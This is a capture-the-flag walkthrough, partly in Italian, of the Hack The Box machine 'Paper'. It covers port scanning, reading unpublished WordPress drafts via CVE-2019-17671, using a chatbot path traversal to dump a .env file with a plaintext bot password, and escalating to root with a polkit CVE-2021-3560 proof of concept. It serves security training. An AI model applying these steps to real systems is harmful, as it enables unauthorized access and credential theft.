HTB - Paper


1 Enumeration

1.1 nmap

1.1.1 nmap -sC -sV paper


Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-16 22:26 CET
Nmap scan report for paper (10.129.142.177)
Host is up (0.079s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| tls-alpn: 
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.83 seconds

1.1.2 nmap -p- paper


Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-16 22:26 CET
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 33.90% done; ETC: 22:27 (0:00:51 remaining)
Nmap scan report for paper (10.129.142.177)
Host is up (0.054s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 72.17 seconds

1.2 gobuster

1.2.1 leo@kali:~/repos/htb/machines/paper$ gobuster vhost -u office.paper -w ~/repos/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://office.paper
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /home/leo/repos/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/02/16 23:22:24 Starting gobuster in VHOST enumeration mode
===============================================================
Found: chat.office.paper (Status: 200) [Size: 223163]
Progress: 8623 / 114442 (7.53%)    

1.3 www

1.3.1 X-Backend-Server

Se inviamo la seguente richiesta all'endpoint / di paper

GET / HTTP/1.1
Host: paper
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

otteniamo la seguente risposta

HTTP/1.1 403 Forbidden
Date: Wed, 16 Feb 2022 22:10:50 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Connection: close
Content-Type: text/html; charset=UTF-8    

Notiamo il parametro X-Backend-Server questo parametro è utilizzato per ritornare il nome del server backend che si trova dietro ad un balance server, ad esempio nginx.

1.4 office.paper (wordpress 5.2.3)

1.4.1 users

prisonmike

1.4.2 http://office.paper/index.php/2021/06/19/feeling-alone/

     Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think!
-Nick

1.4.3 CVE-2019-17671

https://www.acunetix.com/vulnerabilities/web/wordpress-5-2-x-multiple-vulnerabilities-5-2-5-2-3/ https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

1.4.3.1 http://office.paper/?static=1
test

Micheal please remove the secret from drafts for gods sake!

Hello employees of Blunder Tiffin,

Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system.

So, I kindly request you all to take your discussions from the public blog to a more private chat system.

-Nick

# Warning for Michael

Michael, you have to stop putting secrets in the drafts. It is a huge security issue and you have to stop doing it. -Nick

Threat Level Midnight

A MOTION PICTURE SCREENPLAY,
WRITTEN AND DIRECTED BY
MICHAEL SCOTT

[INT:DAY]

Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt….

# Secret Registration URL of new Employee chat system

http://chat.office.paper/register/8qozr226AhkCHZdyY

# I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.

# Also, stop looking at my drafts. Jeez!     

1.5 rocket.chat

Tramite il link di registrazione preso da wordpress siamo in grado di regitrarci.

   http://chat.office.paper/register/8qozr226AhkCHZdyY

http://chat.office.paper/home

1.5.1 recycplos

recyclops file sale/portfolio recyclops list ..

1.5.3 http://chat.office.paper/api/info

{"version":"3.16.1","success":true}    

1.5.4 http://chat.office.paper/scripts.js

window.USE_REST_FOR_DDP_CALLS = true;


// Custom_Script_Logged_Out
window.addEventListener('Custom_Script_Logged_Out', function() {
        //Add your script
})


// Custom_Script_Logged_In
window.addEventListener('Custom_Script_Logged_In', function() {
        function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}
var xhttp = new XMLHttpRequest();
var token = getCookie("rc_token");
var uid = getCookie("rc_uid");


if(uid==="WoxmTzWbvoijWkN5X"){
xhttp.open("POST", "/api/v1/logout", true);
xhttp.setRequestHeader("X-Auth-Token", token);
xhttp.setRequestHeader("X-User-Id", uid);
xhttp.send();
alert("Nice Try Skynet! Bots are not allowed to login via Web Console!");
}
else{
console.log("Normal Login.");
}
})


// Custom_Script_On_Logout
window.addEventListener('Custom_Script_On_Logout', function() {
        //Add your script
})    

1.5.5 bot_restart.sh

#!/bin/bash

# Cleaning hubot's log so that it won't grow too large.
echo "" > /home/dwight/hubot/.hubot.log


# For starting the bot 20-ish (10+20) seconds late, when the server is restarted.
# This is because MongoDB and Rocket-Chat server needs some time to startup properly
sleep 10s

# Checks if Hubot is running every 10s
while [ 1 ];
do
sleep 20s
alive=$(/usr/sbin/ss -tulnp|grep 8000);
if [[ -n $alive ]]; then
err=$(grep -i 'unhandled-rejections=strict' /home/dwight/hubot/.hubot.log)
if [[ -n $err ]]; then
# Restarts bot
echo "[-] Bot not running! date";
#Killing the old process
pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6);
kill -9 $pid;
cd /home/dwight/hubot;
# Cleaning hubot's log so that it won't grow too large.
echo "" > /home/dwight/hubot/.hubot.log
bash /home/dwight/hubot/start_bot.sh&
else


echo "[+] Bot running succesfully! date";
fi

else
# Restarts bot
echo "[-] Bot not running! date";
#Killing the old process
pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6);
kill -9 $pid;
cd /home/dwight/hubot;
bash /home/dwight/hubot/start_bot.sh&
fi

done    

1.5.6 recyclops file ../hubot/.env

recyclops
Bot
11:46 PM
<!=====Contents of file ../hubot/.env=====>
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>    

2 PrivEsc

A quanto pare è vulnerabile il sotto-sistema polkit alla CVE: CVE-2021-3560.

2.1 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

https://github.com/hakivvi/CVE-2021-3560

   sudo apt install build-essential libdbus-glib-1-dev libgirepository1.0-dev

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ Quello che ha funzionato è lo script in bash .sh che l'ho utilizzato come segue

[dwight@paper ~]$ ./poc.sh  -u=prova -p=password   

3 Summary

[2022-03-07 lun 00:22]

Riassunto della macchina per video

nmap
X-backend-server 
office.paper wordpress (5.2.3) 
CVE-2019-17671 per leggere posts con /?static=1
registrazione a rocket.chat
parlare con bot "recyclops file ../hubot/.env"
entrare come dwight
CVE-2021-3560 su polkit per ottenere root tramite poc.sh  

4 Flags